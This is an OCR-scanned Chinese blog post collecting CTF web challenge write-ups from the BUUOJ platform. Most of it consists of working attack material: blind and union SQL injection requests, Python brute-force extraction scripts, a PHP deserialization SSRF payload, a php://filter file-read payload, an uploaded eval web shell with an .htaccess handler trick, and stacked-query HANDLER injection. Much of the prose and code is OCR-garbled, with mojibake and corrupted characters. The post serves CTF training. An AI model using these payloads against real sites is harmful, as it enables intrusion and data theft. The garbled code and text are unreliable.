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1. [CISCN2019 4]t 3% X Day2 Web1]Hack World
RIEZHMsqiEN, B EH AR —HRIERIRRK, #HEMS T Ranflagfflagkiiflags B

All You Want Is In Table ‘flag’ and the column is ‘flag’

Now, just give the id of passage

K | 152

Hello, glzjin wants a girlfriend.

postill iR —F KRB M1||1. Torl. 1&&1. land 1 XFHE T IE T

the id of pasan e</hi>
hp" method="POST">

SQL Injectiol

RIGEfuzzk Pxor. & group. limit. order. union. /**/. ordtB#iTI€ T .

—#&fuzz, #i& LT payload:

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /indsx.php HTTP/L.1 A HTTP/Ll.l 200 QK
Host: 47f£602409-87£3-4344-9fla-£d0517247dES. node3.buuoj.c Server: openresty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé :78.0) Gecko/20100101 Firefox/78.0 Date: Sat, May 2021 14:18:18 GMT
Ac 1\: te! :/h: 1l,application/xhtml+xml, application/xml:g=0.9, image/ wehp, / = 0 =) Content-Type: text/html: charsst=UTF-8
Accept-Language: zh-CHN, zh;g=0.8, zh-TW;q=0.7, zh-HE; q=0.5,en-US;: g=0.3, en;q=0. Connection: keep-alive
Accepr-Encoding: gzip, deflate X-Powered-By: PHP/5.6.40
Content-Type: application/x-www-form-urlencodsd Content-Length: 301
Content-Length: 8
Orig. htep: //47fm 49-873-4344-9f1a-fd0517247d65. node3 . buuoi . cn <html>
Connection: keep-alis <heads>
Referer: http: /ﬂ"l'?fEEl 49-87£3-4344-9f1a-£d0517247dE5 . node3 . bunue].cn/ index. php <title>Hack World</title>
Upgr ad -Insecure-Requests: 1 </ head>
<body>
id=landl <hi>A11 Y Wﬂnt Is In Table 'flag' and the column is 'flag'</h3>


https://blog.csdn.net/shuaicenglou3032
https://blog.csdn.net/shuaicenglou3032/category_7137104.html
https://blog.csdn.net/shuaicenglou3032/category_7619901.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/shuaicenglou3032/article/details/117172127
https://blog.csdn.net/shuaicenglou3032/category_7137104.html
https://blog.csdn.net/shuaicenglou3032/category_7619901.html

POST /index.php HTTP/1.1

Host: 706d9826-2f2c-48b6-bf06-877b7226d9¢cd.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 21

Origin: http://47f60249-8713-4344-9f1a-fd0517247d65.node3.buuoj.cn

Connection: keep-alive

Referer: http://47f60249-8713-4344-9f1a-fd@517247d65.node3.buuoj.cn/index.php
Upgrade-Insecure-Requests: 1

id=17(if(1=1,0,1))

GEINRGE Th

<title>Hack World</title>
</ head>

<h3i>A11 You Want Is In Table 'flag' and th
<h3>Mow, just give the id of passage</hi>
<form action="index.php" method="FOST">
<input type="text" name="id">

<input type="submit">

</ form=

</hody>

</html>

Helle, glzjin wants a girlfriend.

SR J5 LA T payload#i 4 :

POST /index.php HTTP/1.1

Host: 706d9826-2f2c-48b6-bf06-877b7226d9cd.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

Origin: http://47f60249-87f3-4344-9f1a-fd0517247d65.node3.buuoj.cn

Connection: keep-alive

Referer: http://471f60249-8713-4344-9f1a-fd0517247d65.node3.buuoj.cn/index.php
Upgrade-Insecure-Requests: 1

id=17(if(1=1,1,0))



<head>

<title>Hack World</title>

</head>

<body>

<h3>All You Want Is In Table 'flag' and the column is 'flag'</h3>
<h3>Now, just give the id of passage</h3>
<form action="index.php" method="POST">
<input type="text" name="id">

<input type="submit">

</form>

</body>

</html>

Error Occured When Fetch Result.

EH R B2 AT PSR — T R EEA .
1BBUE FE K B id=1/if(((length(database()))=(11)),0,1))45 24 5 35 FE = B K FE 11
PBRBE FE 441d="1/if((substr(database(),$3$,1)="a"),0,1)/B B IEE L . ctftraining
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INERRR AT 4

-3 E iR

POST /index.php HTTP/1.1

Host: a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 59

Origin: http://a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn

Connection: keep-alive

Referer: http://a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

id=1~(if(((LEFT((SELECT(flag)FROM(flag)),14))="flag{8556ce6d§1§"'),0,1))

HiE EACHY:



import requests

url = "http://a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn/index.php"
result = ""

num = @

for i in range(1, 60):

if num == 1:
break

for j in range(32, 128):

payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, J)
# print(str((i-1)*96+j-32)+":~"+payload+"~"

data = {
"id": payload,

r = requests.post(url, data=data)

r.encoding = r.apparent_encoding

if "Hello" in r.text:
x = chr(j)
result += str(x)
print(result)
break

if "}" in result:
print(result)
num = 1
break

Zflag:

2. [M &M 2018]Fakebook
HHIEEAS



# IRYE R B BRI E 4
# database_len_payload: FKEEIEE R KE Kpayload, HITEE
# database_name_payload: 3REXVEUHE E & ipayload, HITERE
# HX: &5 R B2
def get_databasename_HX(url, HX):
db_name = ""
database_len = 0 # HiEELKKE
for i in range(1, 32):
payload = url + "?no=-1|]|(if((length(database())="+str(i)+"),True,False));#"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) != -1:
database_len = i
break
if database_len == 0:
print (" EEEIEFE KRN, BF&IE")
return "-1"
else:
print("BIEEKERN:" + str(database_len))
for i in range(1l, database_len + 1):
for j in range(32, 127):
payload = url + "?no=-1||(if(ascii(substr(database(),"+str(i)+",1))="+str(j)+",True,False))
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) != -1:
print("RIME" + str(i) + "f:" + chr(j))
db_name += chr(j)
break
print("HIEELA: %s" % db_name)

return db_name

5 3| B4 FFE 4 fakebook
HRA:



# WRIEE B EERBUTE JuER L
def get_tablename_HX(url, HX, db_name):
table_group_length = @
for i in range(1, 32):
payload = url + "?no=-1||((" + str(
i) + ")=(SELECT(length(group_concat(table_name)))FROM(information_schema.tables)WHERE((table_sc
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) != -1:
table_group_length = i
break
if table_group_length == 0:
print ("EEBEEERREKK, BFLEER")
return -1
else:
tables = ""
for i in range(1l, table_group_length + 1):
for j in range(1, 128):
payload = url + "?no=-1||((" + str(j) + ")=ASCII((SELECT(SUBSTR(GROUP_CONCAT(table_name),"
i) + ",1))FROM(information_schema.tables)WHERE((table_schema)REGEXP('fakebook')))))"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) != -1:
tables += chr(j)
print(tables)
break
print(tables)
return 1

B 3|—ARKusers

XERBET, WHEESRE, LhREBorder bysiiT, EFEE: http://388930ea-5c42-4bf3-aee2-
a17503715879.node3.buuoj.cn/view.php?no=-1/**/order/**/by/**/5

[*] query error! (Unknown column '5"in 'order clause')

Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

B & HUE FEhttp://388930ea-5¢c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1/**/order/**/by/**/5
XEBEFIHFRBEEMNRFroot, HAEMS4EXEEE, FikEBiEfag.php:

388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=0%20union/**/select/**/1,
(load_file(%27 variwww/html/flag.php%27)),3,4%23

flag{87e307df-5ae9-41f4-b5fd-f91a2200caff}.
EEXA R, Lhr EBUAR#E R SSRF+RFFIL+sqiEN .
T AR — TR AT .


http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1/**/order/**/by/**/5
http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1/**/order/**/by/**/5

B 7 Bthttp://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?
no=0%20union/**/select/**/1,

(SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where%?20table_name=%:
4 | 11 | 3

username

no,username,passwd,data,USER,CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

E— Fdataix M B

http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?
no=0%20union/**/select/**/1,data,3,4%20from%20users%23

username

0:8:"UserInfo™:3:
{s:d:"name";s:5:"admin”;s:3:"age";i:1;s:4:"blog";s:9:"www.1.com";}

RN 7R S XEER-BHMRER, £33 HEXMrobots.txt, =AMIIFHEIME T, &A
Hadgk.

robots.txt:

User-agent: *
Disallow: /user.php.bak

RILT — A& 30
HEX:


http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=0%20union/**/select/**/1,%2528SELECT/**/group_concat%2528column_name%2529/**/from/**/information_schema.columns/**/where%20table_name=%2527users%2527%2529,3,4%2523
http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=0%20union/**/select/**/1,data,3,4%20from%20users%2523

00 - 173B

https://blog.csdn.net/shuaicenglc

BE XA &M A



<?php

class UserInfo

{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
// BB URL FIAHRL I
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// HMEL URL FHIEEAL@LE 3 b 4%
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
¥
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/~(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[@-9]+)2(\/\S*)?$/i",
}
}

Hit— T R IR 2 5 vE A\ data B 1H i F 5L x5
X B get B BT B B M T AT SEKISSRFARED, BA X &N Furl SR T 388 B #$47 curl_exec.

X ELESE RS R A EE B R BUR R AL SR, AR5 R S P g blog 7 BUE Fcurlid sk, Xt W] REAF 72
SSRF.

Fir a3 DA R 314k i payload:



<?php
class UserInfo

{
public $name = "admin";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a = serialize(new UserInfo("admin",1,"filer:///var/www/html/flag.php"));
echo (%$a);
?>
(CEIR

0:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

B & sqliE A\ B 7 _E #4354 payload:

http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-
1%20union/**/select/**/1,2,3,%270:8:%22UserInfo%22:3:
{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.f

a I | ¥

file:///var/www/html/flag.php </td>
</tr>
</table>

<hr>

<br><br><br><br><br>

<p>the contents of his/her blog</p>

<hr>

<iframe width='100%"' height="18em' src='data:text/html;base64,PDIwaHANCgOKIGZsYWcgPSAiZmxhZ3s4N2UzMDdkZi81YWU5LTQXZjQtY VmZCImOTFhMjIwMGNhZmZ9T jsNCmV4aXQoMCk7DQo=" >
</div>
</body>

PRI RN

#tbase64, 5 T ) FZfF & X S
<?php

$flag = "flag{87e307df-5ae9-4 1f4-b5fd-f91a2200caff}";
exit(0);
Z3flag.

3. [GXYCTF2019]BabySQli
B HE R RsqiEAN
BE @ N\ — A F L5 Blwrong user, BERERKINE RR

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJIBSG6WSYIIJWESSCWPINFQSTVLFLTC3CIIQYGOSTZKI2VSVZRNRFHOPIS5 - ->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>

wrong pass!

EREEEMIAE - MR TE, HESMEbase32, EIGHEI|sqliEq:


http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1%20union/**/select/**/1,2,3,%2527O:8:%2522UserInfo%2522:3:%257Bs:4:%2522name%2522;s:5:%2522admin%2522;s:3:%2522age%2522;i:1;s:4:%2522blog%2522;s:29:%2522file:///var/www/html/flag.php%2522;%257D%2527%2523

select * from user where username = '$name’

MAERART] S, EERET -

R e g peemogy sy gy

1 HTTE/1l.l 200 OK

2 Server: Openresty

3 Date: Fri, IZB May Z021 07:45:33 GNT
Content-Type: text/html
Content-Length: 377

& Connection: close

7 Vary: Aecept-Encoding
¥-Powered-By: FHP/5.3.29

10 <! --MMZFM4ZZESHDASKDNS TVUSSEOZRFGOREMMEZFM6FJIBSGEeWS ¥ JIJWES S CWPINFQSTVLFLTCICIIQYGOS TERJZ2VSVERNRFHOPJS - ->
11 <meta http-equiv="Content-Type" content="text/html; charset=ucf-g" /=
12 <title>Do you know who am I?</title>

Error: You have an error in your SQL syntax; check the manual that corresponds to your MysSQL server wversion for the right syntax to use near
''‘admin''' at line 1

WA KkHor. £HFES ( MAEHES )BT T .

MRAWETHES, HMEEEALERRKRT, ProliX 2% E M Horder byE k.

CoriZAN R JE T LU K/ E gl )

X B3 — Forder byB R &0iH:
HEWPEREAFERRE, REEOMSWE —MELKEE, 5 BREHT I S RETHRF .
PR L FRATT AT LA — o — L R 0 25 R BEAT 5 8

HIr R I 51 HN3:

POST /search.php HTTP/1.1

Host: cf@dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Origin: http://cf@dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn

Connection: close

Referer: http://cf@dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

name="union%20@select%20'1"',"'2";%23&pw=1

S LIV DRE - v E



POST /search.php HTTP/1.1

Host: cf@dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 43

Origin: http://cf@dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn

Connection: close

Referer: http://cf@dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

name="union%2@select%201, 'admin', 3;%23&pw=1

T ARG
name="|| 1+union%20select%201,2,'3'%200rder%20by%203%201imit%201;%23&pw=1
LG ELE A AXE, &EHRZwronguser, FNIREIFIRZE —FIBRNE &R EEE.

L& D 3 — AL L SR PR AR R AR, IR [ R 2 SRR SERR S, B b3k Elwronguserfiwrongpass i 43 5t
LR KA — A~ wronguserit 2 BATE K 3 — &G .

FERRHIpython2. 7 AN T
import requests

dic = "@123456789abcdefghijklmnopgrstuvwxyz"
url = "http://bde93798-ff54-45d1-b059-864ebf2c0301.node3.buuoj.cn/search.php”

HX1 = "user"
HX2 = "pass"
passwd = ""

payloadl = '\'||1 union select 1,2,\"’
"\' Order by 3 limit 1;#'
for i in range(32):

HX1flag = ©

HX2flag = ©

for j in range(0,36):

payload2

payload = payloadl+passwd+dic[j]+payload2
# print payload
postData = {'name': payload, 'pw': 1}
responds = requests.post(url, data=postData)
# print responds.text
if responds.text.find(HX1)!= -1:
HX1flag = 1
if responds.text.find(HX2)!= -1:
passwd = passwd+dic[j-1]
break
print passwd

1B RE S EKIMd5A: cdc9c819c7f8be2628d4180669009d28
RXAmASHE PRI T, AREH R A
Pt CAZE 4K — b fi] B AR vk -



LEHANBEAFENRE, BRETAMSME—MEMREIE. Hik, BE%EF, RIEEEpassiE B H
#iNel0adc3949ba59%abbe56e057£20£883eMIMASIREEE 45 R .

HARMEEI T

name="union%20select%201, 'admin', 'c4ca4238a0b923820dcc509a6f75849b" ;%23&pw=1

XAMEA) 2R B AT IE B BA B W 45 5R{1,'admin’,'c4cad238a0b923820dcc509a675849b'} .

BRARSEERE A WA RIS R RATMA K ZELRImMdS. BrilpwBEZ1, T
c4ca4238a0b923820dcc509a6f75849bjk =2 1 Imd51E .

& [Flflag:

HTTP/1.1 200 OK

Server: openresty

Date: Mon, 07 Jun 2021 13:56:53 GMT
Content-Type: text/html
Content-Length: 258

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.29

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJIBSG6WSYIIWESSCWPINFQSTVLFLTC3CIIQYGOSTZKI2VSVZRNRFHOPJ5 - ->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>

flag{980f72bf-f6f8-463b-a69e-30d9a76bf302}

4.[M 54 2020 F e 41 ]AreUSerialz
XERERRNERLTFIIN. RAHRMAERL, Fitz:

<?php
include("flag.php");
highlight_file(_ FILE_ );
class FileHandler {

protected $op;
protected $filename;
protected $content;

function __ construct() { 1 /3¢ BTG RT PAT
$op = "1";
$filename = "/tmp/tmpfile”;
$content = "Hello World!";
$this->process();

public function process() {
ifl¢thic-son == "1™\ [



AL e S /A
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
¥
$res = file put_contents($this->filename, $this->content);
if($res) $this->output("Successfull");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {
$res = "";

if(isset($this->filename)) {
$res = file get contents($this->filename);

}

return $res;

private function output($s) { //HHTEsHE
echo "[Result]: <br>";

echo $s;
}
function _ destruct() { [/ BB AT, R R Fop 2B ECAL, F $4Tprocess ik
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) { [/ EEERIN, MM R R AR WERFR R Efalse
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 & ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);



A LAE 2 destruct 7 ¥E7E X AT AT, B AM— RV HBopEAE T2, EXBEUWRETF2HEE.
SR J5 AT process i .

process /7 1: 93RRI LB ) A rop R BE T2, & T2 HiTread i,
B thphp 7 Fil46 FIR IS IX S

<?php

class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "Hello World!";

}

echo serialize(new FileHandler());

?>

Zflag:http://27a1919e-75f2-42fa-b596-14ed83035479.node3.buuoj.cn/?str=0:11:%22FileHandler%22:3:
{s:2:%220p%22;i:2;5:8:%22filename%22;s:57:%22php://filter/read=convert.base64-
encode/resource=flag.php%22;s:7:%22content%22;s:12:%22Hell0%20World! %22;}

function is valid($s) |
for($i = 0; $i < strlen(Ss); $i++)
if (! (ord($s[8i]) »>= 32 && ord($s[$il) <= 125))
return false;
return true;

if(isset($_GET{ str’}))

$str = (string)$_GET[ str’]:
if(is_valid($str)) |
$obji = unserialize(Sstr);
[Result]:

PD9waHAgQJGZsYWc9)2ZsYWd7ZDI2YWFkZGQtMTMOZS00YTA4LTgyMWEtM|ZhZDdmYWM2NjY4fSc7Cg==

baseb64f#1S 5t sE £ Flflag.
5.[MRCTF2020]4% 45 4% | &

X R htaccess/g 1]

htaccess®ApachefR% & I —NMECEM, FTLAERMT302EE, HEX404TWH, SR HHRESL, AW/HIES KA EER:
FEIXAN SO B AT DA 3 — % )5 R 4% DME BRI A% SN AT AT, AT AR A e AT RS 1.

tetndt, BATE—AphplFHs, RERMNBLHIRE T Efwebshell, ERBRIMMNDELITHE, EFHAETHPHRES, MIISER

=B RS


http://27a1919e-75f2-42fa-b596-14ed83035479.node3.buuoj.cn/?str=O:11:%2522FileHandler%2522:3:%257Bs:2:%2522op%2522;i:2;s:8:%2522filename%2522;s:57:%2522php://filter/read=convert.base64-encode/resource=flag.php%2522;s:7:%2522content%2522;s:12:%2522Hello%20World!%2522;%257D

POST /upload.php HTTP/1.1

Host: 271633b2-e67c-49e8-9614-14e39c2eeld3.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-------------------~-~-~-—-—-~--- 94049283636526121012893130027
Content-Length: 369

Origin: http://999cc337-3085-49a9-8985-d4f82183b64f.node3.buuoj.cn

Connection: keep-alive

Referer: http://999cc337-3085-49a9-8985-d4f82183b64f.node3.buuoj.cn/

Cookie: PHPSESSID=6967bd282c9d96eb47bad@deeeb64dld2

Upgrade-Insecure-Requests: 1

----------------------------- 94049283636526121012893130027
Content-Disposition: form-data; name="uploaded"; filename="3.jpg"
Content-Type: image/png

<?php @eval($_POST[fuck]);?>
----------------------------- 94049283636526121012893130027
Content-Disposition: form-data; name="submit"

----------------------------- 94049283636526121012893130027 - -

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 09 Jun 2021 13:23:08 GMT
Content-Type: text/html
Content-Length: 209

Connection: keep-alive

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 ©08:52:00 GMT
Pragma: no-cache

Vary: Accept-Encoding

X-Powered-By: PHP/5.6.23

<meta charset="utf-8"><br />
<b>Warning</b>: mkdir(): File exists in <b>/var/www/html/upload.php</b> on line <b>23</b><br />
/var/www/html/upload/341d0280b89fd4a9ad37738a43d34e3e/3.jpg succesfully uploaded!

RJG _EAE— .htaccess 344



POST /upload.php HTTP/1.1

Host: 271633b2-e67c-49e8-9614-14e39c2eeld3.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-------------------~-~-~-—-—-~--- 94049283636526121012893130027
Content-Length: 379

Origin: http://999cc337-3085-49a9-8985-d4f82183b64f.node3.buuoj.cn

Connection: keep-alive

Referer: http://999cc337-3085-49a9-8985-d4f82183b64f.node3.buuoj.cn/

Cookie: PHPSESSID=6967bd282c9d96eb47bad@deeeb64dld2

Upgrade-Insecure-Requests: 1

----------------------------- 94049283636526121012893130027
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/png

SetHandler application/x-httpd-php
----------------------------- 94049283636526121012893130027
Content-Disposition: form-data; name="submit"

----------------------------- 94049283636526121012893130027 - -

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 09 Jun 2021 13:15:52 GMT
Content-Type: text/html
Content-Length: 213

Connection: keep-alive

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Pragma: no-cache

Vary: Accept-Encoding

X-Powered-By: PHP/5.6.23

<meta charset="utf-8"><br />
<b>Warning</b>: mkdir(): File exists in <b>/var/www/html/upload.php</b> on line <b>23</b><br />
/var/www/html/upload/341d0280b89fd4a9ad37738a43d34e3e/.htaccess succesfully uploaded!

BT B
URLHthE * 3.node3.buuoj.cn/upload/341d0280b8ofd4a0ad37738a43d34e3e/3.5pg
EEEE fuck
FlabEE
HHE UTF8 v
EA PHP v

= default



Z3lflag:

O srv 2016-06-09 01:28:25 6b 0735

O sys 2021-05-17 01:40:01 0b 0555

O tmp 2021-06-09 22:24:04 9% b 1777

O usr 2016-07-17 02:51:31 19b 0755

O var 2016-07-17 02:50:38 17 b 0735

[§ .dockerenv 2021-06-09 21:59:04 0b 0755

D C 2016-07-14 10:20:03 384 Kb 0600
@ 2021-06-09 21:59:07 43b 0644
= 53 )

6.[GYCTF2020]Blacklist

Black list is so weak for you,isn't it
a (v =3

error 1064 : You have an error in your SOL syntax; check the marual that corresponds to your MarialB server version for the right syntax to use near ''1'7° at line 1

SQUEANFRET . fuzz— Tl T WREL Rt 7

Black list is so weak for you,isn't it
=2k =3

return prez_match(”/set|prepare|alter |rename|select |update|delete |drop |insert [where |y, /17, $inject)

EMEHRT, AHfuzT

set|prepare|alter|rename|select|update|delete|drop|insert|where

MBI RNRG3XLEE, flaghEXE.

BRATRAHEBIEN, WA—T:

http://01cd4945-2875-47fb-b111-b01e47a6263a.node3.buuoj.cn/?
inject=1%27%3Bshow+databases%3B%23#


http://01cd4945-2875-47fb-b111-b01e47a6263a.node3.buuoj.cn/?inject=1%2527%253Bshow+databases%253B%2523#

Black list is so weak for you,isn't it
|

8

1 |

array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”

array(1) |
[o]=>

string(11) “ctftraining”

array(l) |
[o]=>

string(18) “information_schema”

array(l) |
[0l=>
string (5) “mysqgl”

array(l) |
[o]=>

string(18) “performance_schema”

array(l) |
[o]=>

string(9) “supersqli”

array(l) |
[o]=>
string(4) “test”

ERHMEK:



ZH | 1"show tables:# ‘ 123

array(2) |
[o]=>
string (1) "17
[1]=>
string (7) “hahahah™

array(l) |
[o]=>
string(8) "FlagHere”

array(l) |
[o]=>
string(5) “words”

flag?t 73— 7k & “FlagHere”

EFEF: http://01cd4945-2875-47fb-b111-b01e47a6263a.node3.buuoj.cn/?
inject=1%27%3Bshow+columns+from+FlagHere%3B%23#

Black list is so weak for you,isn't it
21 =3

array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”

array(B) |
[o]=>
string(4) "flag”
[1]=>
string (12) “varchar(100)”
[z]=>
string(2) "NO”
(21=>
string(0) *7
[4]=>
NULL
(51=>
string(0) “"

BXBEART, BREKNEHESRE:

HANDLER ... OPENIEAITIF—AN 3R, HHFLMEME2HANDLER ... READIEAI VI, %R AR HAb S
WEHE, HHEAELERAHANDLER ... CLOSES & EZ& 1L Z B AL KA,

Jit LA e & 43 -


http://01cd4945-2875-47fb-b111-b01e47a6263a.node3.buuoj.cn/?inject=1%2527%253Bshow+columns+from+FlagHere%253B%2523#

http://01cd4945-2875-47fb-b111-b01e47a6263a.node3.buuoj.cn/?
inject=1%27%3Bhandler+FlagHere+open%3Bhandler+FlagHere+read+first%3Bhandler+FlagHere+close%3B'

4 i | 3

Black list is so weak for you,isn't it
21 =3

array(2) |

[o]=>

string (1) “17

[1]=>

string (7) “hahahah”
}

array(1) |

[0l=>

string(42) “flag (B0L5Th3c-3Tdd-4fel-a92b-f2f 3226206 7
}

7.[MRCTF2020]Ez_bypass
R


http://01cd4945-2875-47fb-b111-b01e47a6263a.node3.buuoj.cn/?inject=1%2527%253Bhandler+FlagHere+open%253Bhandler+FlagHere+read+first%253Bhandler+FlagHere+close%253B%2523#

I put something in F12 for you
include 'flag.php';
$Flag="MRCTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" ;
if(isset($_GET['gg'])&8&isset($_GET['id"'])) {
$id=$_GET['id'];
$gg=% GET['gg'l;
if (md5($id) === md5($gg) & $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST[ 'passwd'];
if (!is_numeric($passwd))

{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
¥
}
else{
die('only one way to get the flag');
¥
¥
else {
echo "You are not a real hacker!";
¥
}
else{
die('Please input first');
¥

}Please input first

Zflag:

